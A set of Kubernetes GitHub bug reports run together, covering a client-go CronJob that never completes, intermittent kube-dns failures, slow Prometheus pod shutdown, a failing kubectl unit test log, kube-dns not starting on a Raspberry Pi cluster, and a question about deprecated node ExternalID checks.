}\r \r   environment  :\r -   cloud provider or hardware configuration  : virtualbox\r -   os    e.g. from /etc/os-release : 16.04.1 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux local 4.4.0-45-generic\r -   install tools  : puppet\r -   others  : n/a\r \r   what happened  :\r \r   jobs never complete, keep creating new pods over and over.\r   log message _jobcontroller.go:272  error syncing job: operation cannot be fulfilled on jobs.batch \ example-1484738160\ : the object has been modified; please apply your changes to the latest version and try again_\r   jobs complete if using the example yaml file from https://kubernetes.io/docs/user-guide/cron-jobs/ creating-a-cron-job, but not from code using https://github.com/kubernetes/client-go\r \r   what you expected to happen  :\r \r jobs to complete, and cronjobs to spawn a new job  normal behaviour .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r the following example will result in a cronjob + a single job that never completes and keeps creating new pods.\r \r    go\r package main\r \r import  \r \t\ fmt\ \r \r \t\ k8s.io/client-go/rest\ \r \t\ k8s.io/client-go/kubernetes\ \r \t\ k8s.io/client-go/pkg/api/v1\ \r \t\ k8s.io/client-go/pkg/apis/batch/v2alpha1\ \r  \r \r func main   {\r \tjob := &v2alpha1.cronjob{\r \t\tobjectmeta: v1.objectmeta{\r \t\t\tname: \ example\ ,\r \t\t},\r \t\tspec: v2alpha1.cronjobspec{\r \t\t\tschedule:          \          \ ,\r \t\t\tconcurrencypolicy: v2alpha1.forbidconcurrent,\r \t\t\tjobtemplate: v2alpha1.jobtemplatespec{\r \t\t\t\tspec: v2alpha1.jobspec{\r \t\t\t\t\ttemplate: v1.podtemplatespec{\r \t\t\t\t\t\tspec: v1.podspec{\r \t\t\t\t\t\t\trestartpolicy: \ never\ ,\r \t\t\t\t\t\t\tcontainers:   v1.container{\r \t\t\t\t\t\t\t\t{\r \t\t\t\t\t\t\t\t\tname:  \ cli\ ,\r \t\t\t\t\t\t\t\t\timage: \ busybox\ ,\r \t\t\t\t\t\t\t\t\tcommand:   string{\r \t\t\t\t\t\t\t\t\t\t\ /bin/bash\ ,\r \t\t\t\t\t\t\t\t\t\t\ -c\ ,\r \t\t\t\t\t\t\t\t\t\t\ echo 1\ ,\r \t\t\t\t\t\t\t\t\t},\r \t\t\t\t\t\t\t\t\timagepullpolicy: \ always\ ,\r \t\t\t\t\t\t\t\t},\r \t\t\t\t\t\t\t},\r \t\t\t\t\t\t},\r \t\t\t\t\t},\r \t\t\t\t},\r \t\t\t},\r \t\t},\r \t}\r \r \tconfig := &rest.config{\r \t\thost: \ http://localhost:8080\ ,\r \t}\r \r \tclientset, err := kubernetes.newforconfig config \r \tif err != nil {\r \t\tpanic err \r \t}\r \r \t_, err = clientset.batchv2alpha1  .cronjobs \ default\  .create job \r \tif err != nil {\r \t\tpanic err \r \t}\r \r \tfmt.println \ deployed example cronjob\  \r }\r    \r \r you will also see the following logs returned from the controller\r \r    \r error syncing job: operation cannot be fulfilled on jobs.batch \ example-1484738160\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r   anything else do we need to know  :\r \r happy to help, but not sure where to start.

when try to connect external server from pod getting \ could not resolve host\  error intermittent.  from all nodes, we are able to connect to the host and get response  not seeing intermittent issue . but from pods, seeing intermittent error as below. can anyone tell, what could be reason? \r \r     \r bash-4.2$ curl myhost:11102\r curl:  52  empty reply from server\r \r bash-4.2$ curl myhost:11102\r curl:  52  empty reply from server\r \r bash-4.2$curl myhost.com:11102\r curl:  6  could not resolve host: myhost.com\r \r bash-4.2$ curl myhost:11102\r curl:  52  empty reply from server\r     \r \r i tried most of the option mentioned in this ticket https://github.com/kubernetes/kubernetes/issues/22823 but does not helped. \r \r - scale up kube-dns nodes to 4 \r - rebooted nodes\r \r still does not fixed this issue.\r \r \r  @kubernetes/sig-cluster ops-misc\r \r \r kubectl version:\r \r     kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r environment\r \r     \r name=\ amazon linux ami\ \r version=\ 2016.09\ \r id=\ amzn\ \r id_like=\ rhel fedora\ \r version_id=\ 2016.09\ \r pretty_name=\ amazon linux ami 2016.09\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:/o:amazon:linux:2016.09:ga\ \r home_url=\ http://aws.amazon.com/amazon-linux-ami/\ \r     \r \r what happend?\r \r      kube dns intermittent does not resolve host name from pods, but always works fine from nodes     \r \r expectation\r \r     \r pods always should resolve external servers like nodes     \r \r \r

running the prometheus setup from helm, i noticed that the pod was slow to shutdown, and  kubectl describe  seemed to show that it was because it failed to kill a container running  sleep \r \r    \r   3m            3m              1       kubelet, ip-172-20-39-237.us-west-2.compute.internal    spec.containers{prometheus-server-configmap-reload}     normal          killing         killing container with id docker://4b67cf7037b36b6e13a48e0d03b8c16fdde606c80ce48a1701bfb5306c57250f:need to kill pod\r   3m            3m              1       kubelet, ip-172-20-39-237.us-west-2.compute.internal    spec.containers{prometheus-server}                      normal          killing         killing container with id docker://b6db90de8d6c500f5a7ae173057c7357a6ffb1a2795c3854f00525e8a0adf412:need to kill pod\r   1m            1m              1       kubelet, ip-172-20-39-237.us-west-2.compute.internal    spec.containers{sleep}                                  normal          killing         killing container with id docker://2a8948d64c14d36f292825a6275a940f9d91e98565f85202dbb68b00a5c7115b:need to kill pod\r   1m            1m              1       kubelet, ip-172-20-39-237.us-west-2.compute.internal                                                            warning         failedsync      error syncing pod, skipping: error killing pod: failed to \ killcontainer\  for \ sleep\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r    \r \r extract from pod spec:\r    \r ...\r       - command:\r         - /bin/sleep\r         - \ 60000\ \r         image: debian:jessie\r         imagepullpolicy: ifnotpresent\r         name: sleep\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         volumemounts:\r         - mountpath: /etc/config\r           name: config-volume\r           readonly: true\r         - mountpath: /data\r           name: storage-volume\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 300\r    \r \r otoh, we also saw a cni error, which might have been the real cause, though the timing suggests not:\r    \r lastseen   firstseen   count     name                                            kind      subobject                                             type      reason       source                                                 message\r 5m         5m          1         prometheus-prometheus-server-2866979097-x8rd8   pod       spec.containers{prometheus-server-configmap-reload}   normal    killing      kubelet, ip-172-20-39-237.us-west-2.compute.internal   killing container with id docker://4b67cf7037b36b6e13a48e0d03b8c16fdde606c80ce48a1701bfb5306c57250f:need to kill pod\r 5m         5m          1         prometheus-prometheus-server-2866979097-x8rd8   pod       spec.containers{prometheus-server}                    normal    killing      kubelet, ip-172-20-39-237.us-west-2.compute.internal   killing container with id docker://b6db90de8d6c500f5a7ae173057c7357a6ffb1a2795c3854f00525e8a0adf412:need to kill pod\r 3m         3m          1         prometheus-prometheus-server-2866979097-x8rd8   pod       spec.containers{sleep}                                normal    killing      kubelet, ip-172-20-39-237.us-west-2.compute.internal   killing container with id docker://2a8948d64c14d36f292825a6275a940f9d91e98565f85202dbb68b00a5c7115b:need to kill pod\r 3m         3m          1         prometheus-prometheus-server-2866979097-x8rd8   pod                                                             warning   failedsync   kubelet, ip-172-20-39-237.us-west-2.compute.internal   error syncing pod, skipping: error killing pod: failed to \ killcontainer\  for \ sleep\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r 1m        1m        1         prometheus-prometheus-server-2866979097-x8rd8   pod                 warning   failedsync   kubelet, ip-172-20-39-237.us-west-2.compute.internal   error syncing pod, skipping: error killing pod:  failed to \ killcontainer\  for \ sleep\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r , failed to \ killpodsandbox\  for \ 8bd4262f-a0d3-11e7-8fa8-06703284a84e\  with killpodsandboxerror: \ rpc error: code = 2 desc = networkplugin cni failed to teardown pod \\\ prometheus-prometheus-server-2866979097-x8rd8_prometheus\\\  network: open /var/lib/cni/flannel/b97a5e54c1130469f2cec6c3881e7e18b7e10c0d44458a2fb0eab871182cdb0f: no such file or directory\ \r  \r 54s       55s       3         prometheus-prometheus-server-2866979097-x8rd8   pod                 warning   failedsync   kubelet, ip-172-20-39-237.us-west-2.compute.internal   error syncing pod, skipping: error killing pod: failed to \ killpodsandbox\  for \ 8bd4262f-a0d3-11e7-8fa8-06703284a84e\  with killpodsandboxerror: \ rpc error: code = 2 desc = networkplugin cni failed to teardown pod \\\ prometheus-prometheus-server-2866979097-x8rd8_prometheus\\\  network: open /var/lib/cni/flannel/b97a5e54c1130469f2cec6c3881e7e18b7e10c0d44458a2fb0eab871182cdb0f: no such file or directory\ \r \r 5m        5m        1         prometheus-prometheus-server-2866979097       replicaset             normal    successfuldelete   replicaset-controller                                  deleted pod: prometheus-prometheus-server-2866979097-x8rd8\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                    normal    scheduled          default-scheduler                                      successfully assigned prometheus-prometheus-server-51290741-qd35j to ip-172-20-60-210.us-west-2.compute.internal\r 1m        5m        10        prometheus-prometheus-server-51290741-qd35j   pod                    warning   failedmount        kubelet, ip-172-20-60-210.us-west-2.compute.internal   mountvolume.setup failed for volume \ kubernetes.io/configmap/cbdead93-a204-11e7-8fa8-06703284a84e-config-consoles\   spec.name: \ config-consoles\   pod \ cbdead93-a204-11e7-8fa8-06703284a84e\   uid: \ cbdead93-a204-11e7-8fa8-06703284a84e\   with: configmaps \ prometheus-consoles\  not found\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                    warning   failedmount        attachdetach                                           failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: 739864c1-8108-4789-820b-2ca25f68a382\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: b8cf4c5a-055d-4ab0-8ffe-664a029e78cf\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: f273354b-d064-42db-8436-1cadf2350ace\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: 7a6274fe-4402-4111-8631-f1fb43800a8c\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: 4e786374-ef8a-4a22-909a-167abdaccbf3\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: aa02046b-ee5a-40c2-bed4-a7bd90e177a1\r 5m        5m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: 958ed172-cefe-4fa5-b8b8-8443a51e7f4e\r 4m        4m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach   failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: b654fc26-9302-4019-b497-9b1b522b175d\r 1m        3m        2         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   kubelet, ip-172-20-60-210.us-west-2.compute.internal   unable to mount volumes for pod \ prometheus-prometheus-server-51290741-qd35j_prometheus cbdead93-a204-11e7-8fa8-06703284a84e \ : timeout expired waiting for volumes to attach/mount for pod \ prometheus\ /\ prometheus-prometheus-server-51290741-qd35j\ . list of unattached/unmounted volumes= storage-volume config-consoles \r 1m        3m        2         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedsync    kubelet, ip-172-20-60-210.us-west-2.compute.internal   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ prometheus\ /\ prometheus-prometheus-server-51290741-qd35j\ . list of unattached/unmounted volumes= storage-volume config-consoles \r 3m        3m        1         prometheus-prometheus-server-51290741-qd35j   pod                 warning   failedmount   attachdetach                                           failed to attach volume \ pvc-2677ba69-9c97-11e7-90c7-02dabe7425fc\  on node \ ip-172-20-60-210.us-west-2.compute.internal\  with: error attaching ebs volume \ vol-056711f76da7a2605\  to instance \ i-06770e885879af7a7\ : volumeinuse: vol-056711f76da7a2605 is already attached to an instance\r           status code: 400, request id: c4d95262-e555-4cbb-bb55-8d759d3f7ca0\r 1m        1m        1         prometheus-prometheus-server-51290741-qd35j   pod                    warning   failedmount         attachdetach             events with common reason combined \r 5m        5m        1         prometheus-prometheus-server-51290741         replicaset             normal    successfulcreate    replicaset-controller   created pod: prometheus-prometheus-server-51290741-qd35j\r 5m        5m        1         prometheus-prometheus-server                  deployment             normal    scalingreplicaset   deployment-controller   scaled up replica set prometheus-prometheus-server-51290741 to 1\r 5m        5m        1         prometheus-prometheus-server                  deployment             normal    scalingreplicaset   deployment-controller   scaled down replica set prometheus-prometheus-server-2866979097 to 0\r \r

test grid: https://k8s-testgrid.appspot.com/presubmits-kubernetes pull-kubernetes-unit&include-filter-by-regex=run_recursive_resources_tests\r last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50627/pull-kubernetes-unit/61621/\r first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/batch/pull-kubernetes-unit/61622/\r suspected commit range: https://github.com/kubernetes/kubernetes/compare/bd28e6d...d0c4c56\r probable pr: https://github.com/kubernetes/kubernetes/pull/54533\r \r example  build log  https://storage.googleapis.com/kubernetes-jenkins/pr-logs/pull/54790/pull-kubernetes-unit/61777/build-log.txt :\r    \r i1031 13:38:57.449  recording: run_recursive_resources_tests\r i1031 13:38:57.450  running command: run_recursive_resources_tests\r i1031 13:38:57.466  \r i1031 13:38:57.467  +++ running case: test-cmd.run_recursive_resources_tests \r i1031 13:38:57.469  +++ working dir: /go/src/k8s.io/kubernetes\r i1031 13:38:57.471  +++ command: run_recursive_resources_tests\r i1031 13:38:57.478  +++  1031 13:38:57  testing recursive resources\r i1031 13:38:57.483  +++  1031 13:38:57  creating namespace namespace1509457137479932506\r i1031 13:38:57.610  namespace \ namespace1509457137479932506\  created\r i1031 13:38:57.714  context \ test\  modified.\r i1031 13:38:57.849  test-cmd-util.sh:1858: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: \r i1031 13:38:58.227  \u001b btest-cmd-util.sh:1862: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:38:58.229  \u001b bsuccessful\r i1031 13:38:58.229  message:pod \ busybox0\  created\r i1031 13:38:58.229  pod \ busybox1\  created\r i1031 13:38:58.229  error: error validating \ hack/testdata/recursive/pod/pod/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r i1031 13:38:58.229  has:error validating data: kind not set\r i1031 13:38:58.394  test-cmd-util.sh:1867: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:38:58.680  \u001b btest-cmd-util.sh:1875: successful get pods {{range.items}}{{ index .spec.containers 0 .image}}:{{end}}: busybox:busybox:\r i1031 13:38:58.682  \u001b bsuccessful\r i1031 13:38:58.682  message:error: unable to decode \ hack/testdata/recursive/pod/pod/busybox-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ v1\ ,\ ind\ :\ pod\ ,\ metadata\ :{\ labels\ :{\ app\ :\ busybox2\ },\ name\ :\ busybox2\ },\ spec\ :{\ containers\ : {\ command\ : \ sleep\ ,\ 3600\  ,\ image\ :\ busybox\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ busybox\ } ,\ restartpolicy\ :\ always\ }}'\r i1031 13:38:58.682  has:object 'kind' is missing\r i1031 13:38:58.851  test-cmd-util.sh:1882: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:38:59.235  \u001b btest-cmd-util.sh:1886: successful get pods {{range.items}}{{.metadata.labels.status}}:{{end}}: replaced:replaced:\r i1031 13:38:59.237  \u001b bsuccessful\r i1031 13:38:59.237  message:pod \ busybox0\  replaced\r i1031 13:38:59.238  pod \ busybox1\  replaced\r i1031 13:38:59.238  error: error validating \ hack/testdata/recursive/pod-modify/pod/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r i1031 13:38:59.238  has:error validating data: kind not set\r i1031 13:38:59.406  test-cmd-util.sh:1891: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:38:59.578  \u001b bsuccessful\r i1031 13:38:59.599  unable to decode \ hack/testdata/recursive/pod/pod/busybox-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ v1\ ,\ ind\ :\ pod\ ,\ metadata\ :{\ labels\ :{\ app\ :\ busybox2\ },\ name\ :\ busybox2\ },\ spec\ :{\ containers\ : {\ command\ : \ sleep\ ,\ 3600\  ,\ image\ :\ busybox\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ busybox\ } ,\ restartpolicy\ :\ always\ }}'\r i1031 13:38:59.599  has:object 'kind' is missing\r i1031 13:38:59.749  test-cmd-util.sh:1901: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:39:00.042  \u001b btest-cmd-util.sh:1905: successful get pods {{range.items}}{{.metadata.annotations.annotatekey}}:{{end}}: annotatevalue:annotatevalue:\r i1031 13:39:00.044  \u001b bsuccessful\r i1031 13:39:00.045  message:pod \ busybox0\  annotated\r i1031 13:39:00.045  pod \ busybox1\  annotated\r i1031 13:39:00.045  error: unable to decode \ hack/testdata/recursive/pod/pod/busybox-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ v1\ ,\ ind\ :\ pod\ ,\ metadata\ :{\ labels\ :{\ app\ :\ busybox2\ },\ name\ :\ busybox2\ },\ spec\ :{\ containers\ : {\ command\ : \ sleep\ ,\ 3600\  ,\ image\ :\ busybox\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ busybox\ } ,\ restartpolicy\ :\ always\ }}'\r i1031 13:39:00.045  has:object 'kind' is missing\r i1031 13:39:00.212  test-cmd-util.sh:1910: successful get pods {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i1031 13:39:00.575  \u001b btest-cmd-util.sh:1914: successful get pods {{range.items}}{{.metadata.labels.status}}:{{end}}: replaced:replaced:\r i1031 13:39:00.577  \u001b bsuccessful\r i1031 13:39:00.577  message:warning: kubectl apply should be used on resource created by either kubectl create --save-config or kubectl apply\r i1031 13:39:00.577  pod \ busybox0\  configured\r i1031 13:39:00.577  warning: kubectl apply should be used on resource created by either kubectl create --save-config or kubectl apply\r i1031 13:39:00.577  pod \ busybox1\  configured\r i1031 13:39:00.578  error: error validating \ hack/testdata/recursive/pod-modify/pod/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r i1031 13:39:00.578  has:error validating data: kind not set\r i1031 13:39:00.707  test-cmd-util.sh:1920: successful get deployment {{range.items}}{{.metadata.name}}:{{end}}: \r i1031 13:39:00.896  \u001b bdeployment \ nginx\  created\r w1031 13:39:00.996  i1031 13:39:00.897117   15215 event.go:218  event v1.objectreference{kind:\ deployment\ , namespace:\ namespace1509457137479932506\ , name:\ nginx\ , uid:\ da5eb3ec-be40-11e7-b109-0242ac110002\ , apiversion:\ extensions\ , resourceversion:\ 781\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set nginx-5cb7fb9f96 to 3\r w1031 13:39:00.997  i1031 13:39:00.905030   15215 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ namespace1509457137479932506\ , name:\ nginx-5cb7fb9f96\ , uid:\ da5f4858-be40-11e7-b109-0242ac110002\ , apiversion:\ extensions\ , resourceversion:\ 782\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: nginx-5cb7fb9f96-vn6l6\r w1031 13:39:00.997  i1031 13:39:00.907985   15215 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ namespace1509457137479932506\ , name:\ nginx-5cb7fb9f96\ , uid:\ da5f4858-be40-11e7-b109-0242ac110002\ , apiversion:\ extensions\ , resourceversion:\ 782\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: nginx-5cb7fb9f96-wlxhx\r w1031 13:39:00.997  i1031 13:39:00.908780   15215 event.go:218  event v1.objectreference{kind:\ replicaset\ , namespace:\ namespace1509457137479932506\ , name:\ nginx-5cb7fb9f96\ , uid:\ da5f4858-be40-11e7-b109-0242ac110002\ , apiversion:\ extensions\ , resourceversion:\ 782\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: nginx-5cb7fb9f96-6wk2n\r i1031 13:39:01.098  test-cmd-util.sh:1924: successful get deployment {{range.items}}{{.metadata.name}}:{{end}}: nginx:\r i1031 13:39:01.231  \u001b btest-cmd-util.sh:1925: successful get deployment {{range.items}}{{ index .spec.template.spec.containers 0 .image}}:{{end}}: gcr.io/google-containers/nginx:test-cmd:\r i1031 13:39:01.388  \u001b bextensions/v1beta1\r i1031 13:39:01.568  test-cmd-util.sh:1930: successful get deployment nginx {{ .apiversion }}: extensions/v1beta1\r i1031 13:39:01.570  \u001b bfail!\r i1031 13:39:01.570  message:extensions/v1beta1\r i1031 13:39:01.570  has not:apps/v1beta1\r i1031 13:39:01.570  1931 /go/src/k8s.io/kubernetes/hack/make-rules/test-cmd-util.sh\r i1031 13:39:01.598  +++ exit code: 1\r i1031 13:39:01.603  +++ error: 1\r i1031 13:39:01.629  error when running run_recursive_resources_tests\r    \r \r ---\r cc: @kubernetes/sig-cli-test-failures @mengqiy @monopole @smarterclayton @sttts @pwittrock

this a bug report  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r installed kubernetes via kubeadm on raspberry pi 3 cluster.\r \r    \r jamesb@surface:~/nginx$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r    \r check status of control plane\r    \r kube-system pods\r name                                 ready     status              restarts   age       ip                node\r etcd-k8s-master                      1/1       running             3          22h       192.168.137.129   k8s-master\r kube-apiserver-k8s-master            1/1       running             7          22h       192.168.137.129   k8s-master\r kube-controller-manager-k8s-master   1/1       running             8          22h       192.168.137.129   k8s-master\r kube-dns-66ffd5c588-wrpt5            0/3       containercreating   0          6m        <none>            k8s-node-4\r kube-proxy-5rrll                     1/1       running             3          22h       192.168.137.180   k8s-node-4\r kube-proxy-6c5jb                     1/1       running             3          22h       192.168.137.129   k8s-master\r kube-proxy-9sh4b                     1/1       running             2          22h       192.168.137.104   k8s-node-2\r kube-proxy-v5q4f                     1/1       running             3          22h       192.168.137.108   k8s-node-1\r kube-proxy-vg4g9                     1/1       running             3          22h       192.168.137.204   k8s-node-3\r kube-scheduler-k8s-master            1/1       running             9          22h       192.168.137.129   k8s-master\r weave-net-5jkbc                      2/2       running             3          22h       192.168.137.108   k8s-node-1\r weave-net-7tzk4                      2/2       running             8          22h       192.168.137.180   k8s-node-4\r weave-net-kgzrr                      2/2       running             9          22h       192.168.137.129   k8s-master\r weave-net-x58rv                      2/2       running             6          22h       192.168.137.104   k8s-node-2\r weave-net-xkpmp                      2/2       running             3          22h       192.168.137.204   k8s-node-3\r \r kube-system services\r name       type        cluster-ip   external-ip   port s          age\r kube-dns   clusterip   10.96.0.10   <none>        53/udp,53/tcp   22h\r \r nodes\r name         status    roles     age       version\r k8s-master   ready     master    22h       v1.8.2\r k8s-node-1   ready     <none>    22h       v1.8.2\r k8s-node-2   ready     <none>    22h       v1.8.2\r k8s-node-3   ready     <none>    22h       v1.8.2\r k8s-node-4   ready     <none>    22h       v1.8.2\r    \r kube-dns pod never starts \r    \r events:\r   type     reason                  age   from                 message\r   ----     ------                  ----  ----                 -------\r   normal   scheduled               4m    default-scheduler    successfully assigned kube-dns-66ffd5c588-wrpt5 to k8s-node-4\r   normal   successfulmountvolume   4m    kubelet, k8s-node-4  mountvolume.setup succeeded for volume \ kube-dns-config\ \r   normal   successfulmountvolume   4m    kubelet, k8s-node-4  mountvolume.setup succeeded for volume \ kube-dns-token-k2ngq\ \r   warning  failedcreatepodsandbox  10s   kubelet, k8s-node-4  failed create pod sandbox.\r   warning  failedsync              10s   kubelet, k8s-node-4  error syncing pod\r   normal   sandboxchanged          9s    kubelet, k8s-node-4  pod sandbox changed, it will be killed and re-created.\r    \r \r   what you expected to happen  :\r \r for this pod to start successfully\r kube-dns-66ffd5c588-wrpt5            0/3       containercreating   0          7m        <none>            k8s-node-4\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install hypriotos on sd cards\r 2. downgrade docker to version:      1.13.1\r 3. install kubernetes master via kubeadm init\r 4. install kubernetes workers via kubeadm join \r 5. check status of control plane\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/arm\ }\r    \r - cloud provider or hardware configuration:\r raspberry pi 3 \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r pretty_name=\ raspbian gnu/linux 8  jessie \ \r name=\ raspbian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=raspbian\r id_like=debian\r home_url=\ http://www.raspbian.org/\ \r support_url=\ http://www.raspbian.org/raspbianforums\ \r bug_report_url=\ http://www.raspbian.org/raspbianbugs\ \r hypriot_os=\ hypriotos/armhf\ \r hypriot_os_version=\ v1.0.0\ \r hypriot_device=\ raspberry pi\ \r hypriot_image_version=\ v1.4.0\ \r    \r - kernel  e.g.  uname -a  :\r    \r $ uname -a\r linux k8s-master 4.4.50-hypriotos-v7+  1 smp preempt sun mar 19 14:11:54 utc 2017 armv7l gnu/linux\r    \r - install tools:\r - others:\r

currently both node_controller in cloudprovider and node_life_cycle controller checks whether node exists in cloudprovider or not. they are using different ways of checking the cloudprovider.\r node_controlelr: instanceexistsbyproviderid by passing node's providerid. if there is an error, it will try to use externalid  \r node_lifecycle_controller: uses externalid   by passing nodename.\r \r however, according to this pr https://github.com/kubernetes/kubernetes/pull/7775, externalid is marked as deprecated three years ago. should we continue to use this way?\r \r cc @yujuhong @random-liu

